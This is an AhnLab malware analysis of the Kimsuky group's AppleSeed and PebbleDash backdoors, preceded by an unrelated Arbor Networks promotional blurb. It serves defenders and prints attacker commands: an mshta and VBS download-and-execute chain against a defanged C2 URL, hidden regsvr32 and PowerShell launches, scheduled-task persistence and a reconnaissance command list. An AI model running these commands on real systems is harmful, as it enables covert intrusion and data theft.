ASERT engineers and researchers are part of an elite group of institutions that are referred to as super remediators, and represent the best in information security.
This is a reflection of having both visibility and remediation capabilities at a majority of service provider networks globally.
ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds.
ASERT also operates the worlds largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS, Arbors global network of sensors: http://atlas.arbor.net.
This mission and the associated resources that Arbor Networks brings to bear to the problem of global Internet security is an impetus for innovation and research.
To view the latest research, news, and trends from Arbor, ASERT and the information security community at large, visit our Threat Portal at http://www.arbornetworks.com/threats/.
AhnLab Cyber Threat Intelligence Report Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) AhnLab Security Emergency response Center (ASEC) November 16th, 2021 TLP: AMBER TLP: GREEN Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 2 Guide on Document Classification Publications or provided content can only be used within the scope allowed for each classification as shown below.
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TLP: AMBER TLP: RED TLP: GREEN TLP: WHITE Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 3 The version information of this report is as follows: Version Date Details 0.1 November 16th, 2021 Analysis Report on Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) created 0.2 November 16th, 2021 Added content 0.3 November 19th, 2021 Added content and fixed typos CAUTION This report contains a number of opinions given by the analysts based on the information that has been confirmed so far.
Each analyst may have a different opinion and the content of this report may change without notice if new evidence is confirmed.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 4 Table of Contents Overview .............................................................................................................................................................. 6 1.
Distribution method .......................................................................................................................................... 6 1.1.
Script ......................................................................................................................................................... 7 1.2.
Executable File (pif) ................................................................................................................................ 10 1.2.1.
Thread 1 ........................................................................................................................................ 11 1.2.2.
Thread 2 ........................................................................................................................................ 11 1.2.3.
Thread 3 ........................................................................................................................................ 16 1.2.4.
Thread 4 ........................................................................................................................................ 16 1.3.
Additional Script ...................................................................................................................................... 16 1.3.1.
Primary Script .................................................................................................................................. 16 1.3.2.
Secondary Script ............................................................................................................................. 17 2.
Analysis of Downloader Malware .................................................................................................................. 18 2.1.
Downloader ............................................................................................................................................. 19 2.1.1.
Install Process ................................................................................................................................. 19 2.1.2.
Downloader Behavior ...................................................................................................................... 20 3.
Analysis of AppleSeed ................................................................................................................................... 21 3.1.
Analysis of Default Features ................................................................................................................... 23 3.1.1.
Initial Routine ................................................................................................................................... 23 3.1.2.
Installation ........................................................................................................................................ 24 3.1.3.
Privilege Escalation ......................................................................................................................... 26 3.1.4.
Thread ............................................................................................................................................. 26 3.2.
Analysis of Info-stealing Feature ............................................................................................................ 30 3.2.1.
Information Theft.............................................................................................................................. 31 3.2.2.
Additional Commands ..................................................................................................................... 34 3.3.
CC Communication Using Emails ........................................................................................................ 35 3.3.1.
Ping Thread (SMTP) ........................................................................................................................ 36 3.3.2.
Command Thread (IMAP) ............................................................................................................... 36 4.
Analysis of PebbleDash ................................................................................................................................. 38 4.1.
Analysis of Initial PebbleDash ................................................................................................................ 39 4.1.1.
Initial Routine ................................................................................................................................... 39 4.1.2.
Recovering Settings Data ................................................................................................................ 42 4.1.3.
CC Communications ..................................................................................................................... 45 4.1.4.
Performing Commands .................................................................................................................... 49 4.2.
Analysis of Latest PebbleDash ............................................................................................................... 51 4.2.1.
Initial Routine ................................................................................................................................... 51 4.2.2.
Recovering Settings Data ................................................................................................................ 53 4.2.3.
CC Communications ..................................................................................................................... 54 4.2.4.
Performing Commands .................................................................................................................... 57 5.
Post Infection ................................................................................................................................................. 58 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 5 5.1.
Remote Control....................................................................................................................................... 58 5.1.1.
Meterpreter ...................................................................................................................................... 58 5.1.2.
HVNC (TinyNuke) ............................................................................................................................ 60 5.1.3.
TightVNC ......................................................................................................................................... 63 5.1.4.
RDP Wrapper .................................................................................................................................. 64 5.2.
RDP Related ........................................................................................................................................... 64 5.2.1.
Adding RDP User ............................................................................................................................ 64 5.2.2.
RDP Patcher .................................................................................................................................... 64 5.3.
Privilege Escalation ................................................................................................................................ 65 5.3.1.
UACMe ............................................................................................................................................ 65 5.3.2.
CVE-2021-1675 Vulnerability .......................................................................................................... 67 5.4.
Collecting Information ............................................................................................................................. 69 5.4.1.
Mimikatz ........................................................................................................................................... 69 5.4.2.
Collecting Chrome Account Credentials .......................................................................................... 70 5.4.3.
Keylogger ......................................................................................................................................... 70 5.5.
Others ..................................................................................................................................................... 71 5.5.1.
Proxy Malware ................................................................................................................................. 71 AhnLabs Response ........................................................................................................................................... 72 Conclusion ......................................................................................................................................................... 75 IOC (Indicators Of Compromise) ....................................................................................................................... 75 File Path and Name ....................................................................................................................................... 75 File Hashes (MD5) ......................................................................................................................................... 77 Related Domain, URL, and IP Address ......................................................................................................... 83 Reference .......................................................................................................................................................... 87 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 6 Overview This document is an analysis report on types of malware recently utilized by the Kimsuky group.
The Kimsuky group is mainly known for launching social engineering attacks, such as spear phishing.
Judging by the names of the attached files, the group seems to be targeting those working in the fields related to North Korea and foreign affairs.
According to the scan logs of AhnLabs ASD infrastructure, the threat group has been mainly targeting individual users rather than companies, but has also been continuously attacking public institutions and companies.
Korean universities have been one of their major targets, but records exist of them attacking IT, information and communications, and construction institutions as well.
Normally, malware strains assumed to be attachments of spear phishing attack emails are disguised as document files.
If a user executes the file, malware of this type executes the document that corresponds to the disguised file name and tricks the user into thinking that they have opened a normal file.
It installs additional malware strains at the same time, mainly AppleSeed and PebbleDash.
AppleSeed has been present since 2019 and when compared to other malware strains based on the IOCs organized by AhnLab, it takes up a significant portion due to being used in various other attacks.
PebbleDash is one of the NukeSped variants, known for having been used by the Lazarus group since the past.
Recently, it has been found that a new variant is being used for attacks along with AppleSeed.
They are both backdoors used by the Kimsuky group that can stay in the system and perform malicious behaviors by receiving commands from the attacker.
The attacker can use backdoor to install another remote control malware, such as Meterpreter and HVNC.
The attacker can also install various other types of malware for privilege escalation and account credential theft.
This report will analyze the overall flow of attacks using AppleSeed and PebbleDash, starting from malware strains that are initially distributed.
As both malware types are not confined to a single form, this report will compare each type and focus on similarities and differences, and also explain in detail other types of malware that the two malware additionally install.
1.
Distribution method Lately, the Kimsuky group has been mainly distributing malware via spear phishing email attachments.
Malware that creates AppleSeed or PebbleDash is usually disguised as a document file, such as pdf, docx, and hwp.
These malware strains take a disguise of document files that discuss current affairs, such as diplomacy, defense, and COVID-19.
However, the attacker does use other file types, such as jpg image or specific dat depending on the attack target.
The files thought to be attached to spear phishing emails the initial distribution filesall have either an executable file or script format.
The script file is a wsf or js format malware, which creates and executes a normal document file that corresponds to the disguised name when it is run to make the user think that a normal document file has been opened.
The executable is the same as the script file in terms of its distribution method and behaviors.
One thing to note is that the file is distributed in PIF extensions.
Both the script and the executable show normal document files upon being executed and installed internally encoded malware into the system.
When backdoors, such as AppleSeed or PebbleDash, are installed successfully, they can communicate with the CC server afterward to steal information about the user environment or install additional malware.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 7 1.1.
Script Samples distributed in the script form can all be executed immediately on Windows.
Upon being executed, they create and run AppleSeed malware and normal document files.
The confirmed samples take the form of JS or WSF file, as shown in Figure 1.
They have different extensions but are functionally the same, as each is configured in the same JS code.
Figure 1.
WSF (left) and JS sample (right) The samples can also be divided into two types depending on the method of code implementation.
Figure 1 shows samples that declare function at the start because they have features, such as decoding, auto- delete, and file deletion, implemented as separate functions.
Figure 2 shows another sample that makes no use of functions and starts with the try - catch statement.
Figure 2.
Sample without functions Both types essentially perform the same behaviors.
Decoding the Base64-encoded data yields AppleSeed malware and a normal document file.
The malware creates two files in a particular path and executes them.
-
Command: powershell.exe -windowstyle hidden regsvr32.exe /s [AppleSeed malware path] For Base64 decoding, the samples with functions use a method of running Powershell command, and samples that do not declare functions use certutil.exe to decode the file, as shown in Figure 3.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 8 Figure 3.
Decoding using certutil.exe Some samples may additionally access a particular URL as shown in Figure 4.
It appears that the samples do so to report the infection status.
Figure 4.
Accessing URL to report infection The name of the normal document file created in the process above is similar to the name of the distributed file with its content related to the file name.
Figure 5.
image_confirm_v1.jpg file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 9 Figure 6.
High-frequency transfer switch default performance temperature testing report.hwp Figure 7.
News 2021-05-07.pdf file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 10 Figure 8.
0421.hwp file 1.2.
Executable File (pif) For samples distributed in the PIF form, they create and execute malware and normal documents while performing additional malicious behaviors through mstha at the same time.
This report will list the analysis information of the Progress Check_211013.pif (aa65c226335539c162a9246bcb7ec415) sample.
When the malware is executed, it creates four threads, as shown in Table 1.
Each thread has a specialized feature that is summarized in the following table.
Thread Behavior Thread 1 Creating and running AppleSeed malware Thread 2 Creating and running normal document file Thread 3 Running mshta for performing additional malicious behaviors Thread 4 Creating and running auto-delete BAT file Table 1.
Summary of behavior for each thread Most PIF droppers, including the analysis target sample, install VBS malware using mshta.
However, some samples do not follow this pattern.
Some samples lack the dropper feature that installs additional malware, while others install certain downloader malware types or malware that adds an RDP account.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 11 There have also been samples with different internal code configurations that install PebbleDash backdoor instead of AppleSeed.
1.2.1.
Thread 1 Thread 1 in the sample creates a folder in the following path and installs AppleSeed.
-
Path APPDATA\Media - Filename wmi-ui-[random name].db - File Hash cae87921ea508d6c8d8c1de9dd769ae1 The following decryption routine is used, notably utilizing a MMX command.
Figure 9.
Data decryption routine When the file is decrypted and created, the sample uses the ShellExecuteExW() function to run the malware through regsvr32.exe.
-
Execution Argument: C:\Windows\system32\regsvr32.exe /s C:\Users\[user name]\AppData\Roaming\Media\wmi-ui-947ef993.db 1.2.2.
Thread 2 Thread 2 thread creates and executes the normal document file to trick users into thinking that they have opened an innocuous document file, not a malware.
It uses the same algorithm used in Thread 1 during the document creation process to decrypt the data.
The normal document created usually uses a name similar to the filename of the distributed malware with contents related to the title.
Examples of normal documents are shown in Figure 10.
One thing to note is that the file with .h5 extensions use HDF (Hierarchical Data Format) file format, which is not widely used.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 12 Figure 10.
Process Check_211013.pdf file Figure 11.
JR_210604_R1_F_Pf.pptx file - (certain strings blurred as ) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 13 Figure 12.
211014-915mm(0deg).h5 file Figure 13.
[
Business Cooperation Agreement] Cooperation (Old 2) 21-001_Cooperation request for tasks related to purchase order for development and purchase  incoming inspection process_Purchase Team 2.pdf file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 14 Figure 14.
2021  Work Report Edited.pdf file Figure 15.
1.
2021 Business Plan (Supplemented by referencing materials from Installation Agency) - 210316-1.hwp file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 15 Figure 16.
210927 COVID-19 Response (Boryeong-Taean 1)_merged.hwp file Figure 17.
ROK-US summit (May 21st) Reference Material (edited).hwp file Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 16 1.2.3.
Thread 3 Thread 3 executes scripts using mstha to perform additional malicious behaviors.
It executes the following command through the CreateProcessA() function.
As for the script malware that is downloaded and executed through mshta.exe, it will be discussed in 1.3.
Additional Script.
-
Command: mshta.exe hxxp://get.seino.p-e[.
]kr/?query5 1.2.4.
Thread 4 The thread creates a BAT file with a random name in the TEMP directory and executes it via the CreateProcessW() function.
The executed script, which is a command that deletes the created BAT file is shown below.
The main thread is configured to be terminated after all additionally created threads are completed.
When the malware is terminated, the executed BAT file deletes itself and the BAT script.
:
goto_redel rd /s /q [executable file name] del [executable file path] if exist [executable file path] goto goto_redel del C:\Users\[user name]\AppData\Local\Temp\[random name].tmp.bat 1.3.
Additional Script The PIF dropper malware mentioned earlier installs AppleSeed backdoor to trick users into thinking that they are opening an innocuous document file.
Also, it also installs additional external payloads.
To do so, it downloads a script through mshta.exe from the third thread and executes it.
The downloaded VBS script can send basic information of the infected environment and download additional malware.
1.3.1.
Primary Script First, the short VBS script is downloaded through mshta.exe and executed.
The code simply requests a certain URL and executes another VBS script received as a response.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 17 Figure 18.
First Script (Deobfuscated) The second script that is run by the script above is a VBS script, consisting of approximately one hundred lines.
It steals information about the infected system and sends it to the CC server.
A function that can download and execute files is also included, but it may not always be executed depending on the situation.
1.3.2.
Secondary Script To collect the information of the infected system, the script first executes the following commands and saves the result as a file MSO2069.acl.
hostname systeminfo net user query user route print ipconfig /all arp -a netstat -ano tasklist tasklist /svc The file is encoded with certutil.exe that is a default Windows program and saved as a file with the name MSO2079.acl, which is then sent to the CC server.
The data sent takes a disguise of something similar to a certificate to bypass detection as shown in Figure 19.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 18 Figure 19.
Example of packet content that is sent to C2 server Afterward, the script registers the following two commands to the task scheduler.
cmd /c schtasks /Create /SC minute /MO 20 /TN GoogleCache /TR wscript //e:vbscript //b C:\ProgramData\Chrome\.NetFramework.xml /f cmd /c schtasks /Create /SC minute /MO 1 /TN GoogleUpdate /TR regsvr32 /s C:\ProgramData\Chrome\update.cfg /f The content of the .NetFramework.xml file that is created by the script is shown below.
It accesses a particular URL and executes the script that is sent in response.
On Error Resume Next:Set sztnfpcgijjomecl CreateObject(MSXML2.ServerXMLHTTP.6.0):sztnfpcgijjomecl.open POST, hxxp://get.seino.p- e[.
]kr/index.php?query6, False:sztnfpcgijjomecl.
Send:Execute(sztnfpcgijjomecl.responseText): The script that was downloaded during the analysis is a code that forcibly terminates the mshta.exe process that is currently being executed as shown below.
Set WShellCreateObject(WScript.
Shell):retuWShell.run(cmd /c taskkill /im mshta.exe /f , 0 ,true) In essence, one task downloads an additional script from external sources and executes it.
The other task executes a file in a certain path using regsvr32.
If the attacker responds with a script that installs additional malware files in the C:\ProgramData\Chrome\update.cfg path instead of the auto-termination script, the additional malware will be executed by the second task scheduler.
2.
Analysis of Downloader Malware As mentioned earlier, there is a downloader malware among those installed by the PIF dropper.
This malware operates after being registered to the task scheduler and essentially performs the role of a downloader: periodically accessing the CC server to download and execute additional payloads.
Currently, multiple downloader malware types can be checked in AhnLabs ASD infrastructure.
They likely Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 19 created malware strains used by the Kimsuky group.
Note that according to a report made by S2W LAB, there has been cases of the downloader malware downloading and installing the Meterpreter backdoor in infected environments.1 2.1.
Downloader 2.1.1.
Install Process As for the analysis sample, when the downloader malware is executed, it first creates the Intel folder in the ALLUSERSPROFILE (ProgramData) folder and copies itself with the name Driverdriver.cfg.
Most samples choose ProgramData as the installation folder, but some select APPDATA (\AppData\Roaming) instead.
There are also cases of the file name being driver.cfg instead of Driverdriver.cfg.
When the copying process is over, the malware executes the file in the copied path using regsvr32.exe.
The actual malicious behaviors are performed in the downloader process that is executed following the steps shown above.
When the install process is over, the file that is initially executed is auto-deleted.
It is a method that uses a batch file and is frequently employed by malware strains that were recently used by the Kimsuky group.
Figure 20.
Auto-delete Batch file It then checks for concurrent execution using a mutex.
The sample for the current analysis uses the following name for the mutex: - Mutex: windows update server real time mui cache The malware uses a unique 8-byte sized random binary data to check whether the system is infected or not.
It first scans for the following registry key.
If the key does not exist, it creates a random 0x08 byte binary value and uses this value for the registry shown below.
The value is used to communicate with the CC server.
-
Added Registry Key: HKCU\Software\Microsoft\FTP / Use Smtp 1 https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed- really-fall-on-newtons-head/ https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/ https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/ Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 20 Figure 21.
Created registry key The malware registers the following command to the task scheduler so that it executes every 30 minutes.
schtasks /create /f /tn Intel\Disk\Volume1 /tr C:\Windows\system32\regsvr32.exe /s C:\ProgramData\Intel\Driverdriver.cfg /sc minute /mo 30 2.1.2.
Downloader Behavior The malware uses the HTTP protocol and the following three types of queries to communicate with the CC server.
u is the unique identifier that was discussed earlier, and i means a command.
p appears to be a secondary parameter, but as the malware has a simple structure, it would not have much significance.
-
Format: http://[CC URL]/init/image?i[command]u[unique identifier]p[secondary parameter] Query Meaning I Command U Unique Identifier P Secondary Parameter Table 2.
Queries used for CC communications Command Type Feature Init Establish connection Ping PING Down Download complete Table 3.
Types of commands used The following URL is used when the malware initially connects with the CC server.
The 6352db963f367e75 part is the 8-byte binary data that was randomly generated and saved in the registry key converted into a string.
-
Example: http://[CC URL]/init/image?iinitu6352db963f367e75pya The User-Agent string used to communicate with the CC server is as follows: Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 21 - User-Agent: Mozilla/5.0 (Windows NT 10.0 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 The malware then sends a PING query.
Up until this part of the process, the data received from the CC server is not used.
It seems that this part is a reset process for the sample to send infection status to the CC server and download additional files.
-
Example: http://[CC URL]/init/image?ipingu6352db963f367e75pwait.. Now the actual downloading begins.
The download URL is [random 8-byte string].down as shown below.
-
Format: http://[CC URL]/init/[Unique Identifier].down - Download URL Example: http://[CC URL]/init/6352db963f367e75.down The downloader downloads files using the URLDownloadToFileW() API without going through any complicated processes.
The download path is shown below.
The name of the file also has a random value in the cachew[random name].cache format.
-
Download Path Example: C:\ProgramData\Intel\Driver\cachew-671417171.cache As the downloaded file is encoded with 4-byte Xor, it needs to be additionally decoded.
Figure 22.
Hard-coded 0x4 Byte Xor key - Xor Key: 96 50 28 44 The decoded malware is executed.
As the downloader uses regsvr32.exe upon executing it, the additional payloads likely only exist as DLLs.
After the process is over, the result is sent to the CC server using the example URL shown below.
-
Example: http://[CC URL]/init/image?idownu6352db963f367e75pya 3.
Analysis of AppleSeed Among types of malware installed through the script malware or PIF dropper, there is a backdoor called AppleSeed.
It performs commands it received from the attacker via the CC server and sends the result back.
It also includes features, such as a downloader that installs additional malware strains, performs keylogging and screenshots, and steals information by collecting files from the user system.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 22 The malware is mainly divided into two types depending on the CC communications method.
Most of them use the HTTP protocol, but some strains communicate with CC through emails.
There are also other differences in features.
Not every type of AppleSeed is equipped with the info-stealing feature.
Some types may only contain basic features of receiving and executing additional malware or commands from the CC server.
Among all samples, this report will discuss those that use HTTP or emails to communicate with CC and those that include info-stealing features.
Some samples appear to contain binaries built using debug mode by the attacker.
As such, one can check the debug messages designated by the developer for each function as shown in Figure 23.
Figure 23.
Debug message output routine included in function Figure 24.
DebugView log The target chosen for the analysis is a sample built in debug mode, the one that can be examined to confirm the developers intention.
However, as the discussed samples info-stealing feature is disabled, Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 23 another sample with the feature will be analyzed for the section explaining such feature.
As all of the samples use the HTTP protocol, AppleSeed sample that communicates with the CC server via email will be discussed.
-
Only has default features: 739d14336826d078c40c9580e3396d15 - Possesses additional info-stealing feature: 2cb77491573acc5e8198d8cf68300106 - Communicates with CC via email: dacb71c5eac21b41bb8077fe2e9f5a25 3.1.
Analysis of Default Features 3.1.1.
Initial Routine Upon execution, AppleSeed first goes through API Resolving in the initialization routine.
The names of the API functions that will find the URL are all encoded, and these encoded strings are a trait of AppleSeed.
Besides API functions, AppleSeed harbors most of the strings, such as CC URL and User-Agent, in encoded forms as shown in Figure 25.
Figure 25.
Obfuscation for strings used in AppleSeed The original version of the string that is decoded first (9d99c9fe01bc57d39df2546955a7021a9fe6567457fb001a9dad543755e70258) is kernel32.dll.
The string is mainly divided into two parts.
The first 16 characters are used as a key for Xor encryption, and the part after the initial 16 characters is the original string that is encrypted and saved.
-
Xor Key: 9d99 c9fe 01bc 57d3 - Encoded String (Xor Key): 9df2 5469 55a7 021a 9fe6 5674 57fb 001a 9dad 5437 55e7 0258 Note that the Xor encoding method used is not a simple one the following encrypted strings are simultaneously used for the next Xor encoding.
(
XorKeyn xor EncStrn-1 ) xor EncStrn ( 0x9d99 xor 0x0000 ) xor 0x9df2  0x006b  k ( 0xc9fe xor 0x9df2 ) xor 0x5469  0x0065  e ( 0x01bc xor 0x5469 ) xor 0x55a7  0x0072  r ( 0x57d3 xor 0x55a7 ) xor 0x021a  0x006e  n ( 0x9d99 xor 0x021a ) xor 0x9fe6  0x0065  e ( 0xc9fe xor 0x9fe6 ) xor 0x5674  0x006c  l ( 0x01bc xor 0x5674 ) xor 0x57fb  0x0033  3 ( 0x57d3 xor 0x57fb ) xor 0x001a  0x0032  2 ( 0x9d99 xor 0x001a ) xor 0x9dad  0x002e  .
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 24 ( 0xc9fe xor 0x9dad ) xor 0x5437  0x0064  d ( 0x01bc xor 0x5437 ) xor 0x55e7  0x006c  l ( 0x57d3 xor 0x55e7 ) xor 0x0258  0x006c  l After API Resolving, the malware finds the settings data.
The data is encoded with the same algorithm that was mentioned above.
The data found includes the host and path of the CC server, path to install the DLL file, prefix that will be used as PCID, etc.
The following is the settings data decoded from the current analysis target sample.
Settings Item Decoded String CC URL yes24-mart.pe[.
]hu CC Path /bear Installation Path Software\Microsoft\Windows\Defender PcID Prefix D_Regsvr32 Table 4.
AppleSeed settings data 3.1.2.
Installation AppleSeed, which is a DLL format, is executed by regsvr32.exe.
One of its characteristics is that it is always installed on a certain path.
The installation path is usually inside ALLUSERSPROFILE (ProgramData), but some samples are installed inside APPDATA.
The current analysis target sample is installed in ALLUSERSPROFILE with the exact path being Software\Microsoft\Windows\Defender (extracted from the settings data shown in Table 4).
The name of the installer is AutoUpdate.dll.
It copies itself to create a batch file in the ALLUSERSPROFILE\temp\ path with the original being deleted after.
The path is later registered to the auto-run registry Run key with the name WindowsDefenderAutoUpdate to allow the file to be executed upon reboot.
Figure 26.
BAT file used for auto-delete The malware then uses a mutex to check the concurrent execution.
The mutex used by the current analysis sample is DropperRegsvr32-20210504113516.
As the Export DLL Name is dropper- regsvr32(x86).dll and the DLL has a similar TimeStamp with the date information shown in the mutex name which appears to represent the malwares name that was decided during the development and its creation date.
a.
Execution Method The sample analyzed above is ultimately executed by being loaded through the regsvr32.exe process.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 25 But there are samples where the AppleSeed backdoor is loaded and executed by a different process.
For instance, the 541fa4fb60690ffbe48b24cd2eeda32e sample is loaded and executed by the explorer.exe process, the Windows Explorer that is currently being executed.
It is initially loaded and executed by the regsvr32.exe process, but then it copies itself to the TEMP path and uses the DLL injection technique, shown in Figure 27, to make explorer.exe load AppleSeed.
Figure 27.
DLL injection technique using CreateRemoteThread() API The method discussed above is a normal DLL injection technique, but there are other techniques as well, such as decoding AppleSeed that takes the form of Reflective DLL Loader and injecting it into explorer.exe.
There have also been multiple samples that target Internet Explorer (iexplore.exe) instead of explorer.exe for injection.
One sample type (8355964a47f248ed39caccb733aabc44) uses the DLL hijacking technique.
It first creates a normal program ALUpdate.exe (639abb6eb9e29b15c61feb7858d2ab40) in the \AppData\Roaming\ESTsoft\Common\ESTUpdate.exe path and copies itself into the same path with the name ko-kr.dll.
When the normal program ESTUpdate.exe is executed, DLL is loaded and executed.
Figure 28.
Execution method using DLL hijacking technique b.
Maintain Persistence The sample mentioned in Figure 28 registers the following Run key to maintain persistence.
-
HKCU\Software\Microsoft\Windows\CurrentVersion\Run WindowsDefenderAutoUpdate regsvr32.exe /s C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll Besides the Run key, AppleSeed samples such as 4e58ea982e3e95fe7b1bdb480ab9810e may use the RunOnce key to maintain persistence.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 26 - HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ESTsoftAutoUpdate regsvr32.exe /s C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll The samples that employ the DLL hijacking method use the task scheduler to execute ALUpdate.exe program.
-
schtasks /create /sc minute /mo 10 /tn ESTSoft\EST Software Auto Updater /tr C:\Users\[User Name]\AppData\Roaming\ESTsoft\Common\ESTUpdate.exe /f 3.1.3.
Privilege Escalation At this stage, the malware checks if UAC is disabled in the current system.
If the following registry keys all have 0 as their values, the sample will consider UAC to be disabled.
-
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System PromptOnSecureDesktop When the UAC is disabled and the system does not have the administrator privilege, it executes its own path and regsvr32.exe as executed as administrator.
Since UAC is already disabled, privilege escalation becomes possible without the UAC pop-up.
For the system that currently has admin privilege, the malware enables the SeDebugPrivilege privilege.
3.1.4.
Thread AppleSeed executes thPingCmd which works as the main thread.
The thread simply executes two threads in the span of 60 seconds.
The first thread is named sendHttpPing, which periodically communicates with the CC server to maintain connection.
The second thread is named dropAndRunCmd and performs malicious behaviors by receiving commands from the server.
The following table shows the URLs used by AppleSeed to communicate with the CC server.
Mode URL Feature ping /?map1[PcID]p2[PcInfo]- [MalwareVersion] Maintaining connection with the CC server Sending command results /?mbp1[PcID]p2a Sending CMD command results Downloading commands /?mcp1[PcID] Downloading commands from the CC server Download complete /?mdp1[PcID] Notifying completion of command download Table 5.
List of URLs used m seems to mean mode, with a being used for ping, b for commands, c for downloading commands, and d for completing downloading commands.
These are all the URLs used in the sample, Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 27 but more types of URLs are used for the sample with the info-stealing feature enabled, and they will be discussed later when the sample is analyzed.
a. sendHttpPing Thread The sendHttpPing thread is excuted every 60 seconds, sending the basic information of the infected system to the CC server.
Unlike other communication instances where only the PcID is sent, this thread also sends PcInfo and the malware version like the URL shown below.
/?map1[PcID]p2[PcInfo]-[MalwareVersion] The PcID used in this case combines the volume serial number and the user name such as 888a15a5- testUser.
PcInfo is a bit more complicated.
It is a string that appears to show the Windows version (Major, Minor, and Build) as well as the architecture and the malware version.
The malware version is the string D_Regsvr32 that was obtained during the decoding process for previous settings data and the string that was decoded in the current thread 2.0 and 7.
Item Format Example PcID [VolumeSerial]-[UserName] 888a15a5-testUser PcInfo Win[MajorVersion].[MinorVersion].
[Build][Architecture] Win6.1.7601x86 Malware Version [D_Regsvr32]-v[2.0].
[7] D_Regsvr32-v2.0.7 Table 6.
Format used for sending information about infected system - HTTP Figure 29.
Process of obtaining PcInfo Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 28 The information is ultimately sent to the CC server with the following URL: /bear/?map1888a15a5-testUserp2Win6.1.7601x86-D_Regsvr32-v2.0.7 b. dropAndRunCmd Thread This thread performs commands that it has received.
After requesting the CC server to send commands, it downloads and decrypts them to perform malicious behaviors, then sends back the result.
It accesses the CC server using the URL /?mcp1[PcID] and downloads the data that includes commands.
The User-Agent string used in the process is as follows: Mozilla/5.0 (Windows NT 10.0 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 The downloaded data is saved as a file in the ALLUSERSPROFILE\temp\ path.
Unlike average malware strains, AppleSeed saves features that can be processed within the memory as a file.
So for every stage, such as downloading commands and unpacking and decrypting files, all the results are saved in the ALLUSERSPROFILE\temp\ path.
When the download is finished, the malware accesses the CC server via the URL /?mdp1[PcID] to inform the server that the process has been completed.
It is currently not possible to access the server, but it appears that the downloaded data starts with the PDF-1.7..4 0 obj signature.
AppleSeed begins the unpacking process after scanning the signature.
Figure 30.
CRC scan for unpacked file The decryption process follows when the unpacking process is complete.
The unpacked data includes the RC4 key encrypted with the RSA public key and the data encrypted with the RC4 key.
The malware first decrypts the data saved in the 0x80 size after 0x04 using the RSA (1024) private key included in the binary and obtains the RC4 key based on the data.
Then it decrypts the data with the RC4 key to have the command data.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 29 Figure 31.
Decrypted RSA (1024 bit) private key While the command data is not available for download at this moment, it appears that the unpacked data will have the following format based on the uploading process that will be discussed later in this report.
Offset Size Data 0x00 0x04 Original size of the encrypted data 0x04 0x80 RC4 key encrypted with the RSA (1024 bit) public key 0x84 Variable Command data encrypted with the RC4 key Table 7.
Encrypted command data received from CC server The following table is a list of commands that the current analysis target, AppleSeed, can perform.
The command names are based on the string confirmed through the debug message.
Command Number Command Name Description 0 CMD Performs command lines received from the CC server and sends results 1 DLL Downloads DLL and executes it with the RegSvr32.exe /s command 2 MemDLL Downloads DLL and executes it in the memory 3 UpdateDLL Updates malware (same as the DLL command) Table 8.
CC commands 1 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 30 Unlike the MemDLL command that loads and executes malware within the memory, DLL and UpdateDLL command download DLL in the file form and execute it with the regsvr32.exe /s command.
They are divided into two commands (DLL, UpdateDLL) which are essentially the same.
As for the CMD command, it executes the command line that was sent and receives the result through a pipe to save it in the ALLUSERSPROFILE\temp\ path.
It then additionally encrypts the saved file before sending it like zip compression or the encryption process discussed above.
The command first creates a random RC4 key and encrypts the zip compression file with the RC4 algorithm.
The randomly created RC4 key is encrypted with the public key included in the binary.
The final data after the encoding process is as follows: Offset Size Data 0x00 0x04 Size of the zip file that will be encrypted 0x04 0x80 RC4 key encrypted with the RSA (1024 bit) public key 0x84 Variable Command data encrypted with the RC4 key Table 9.
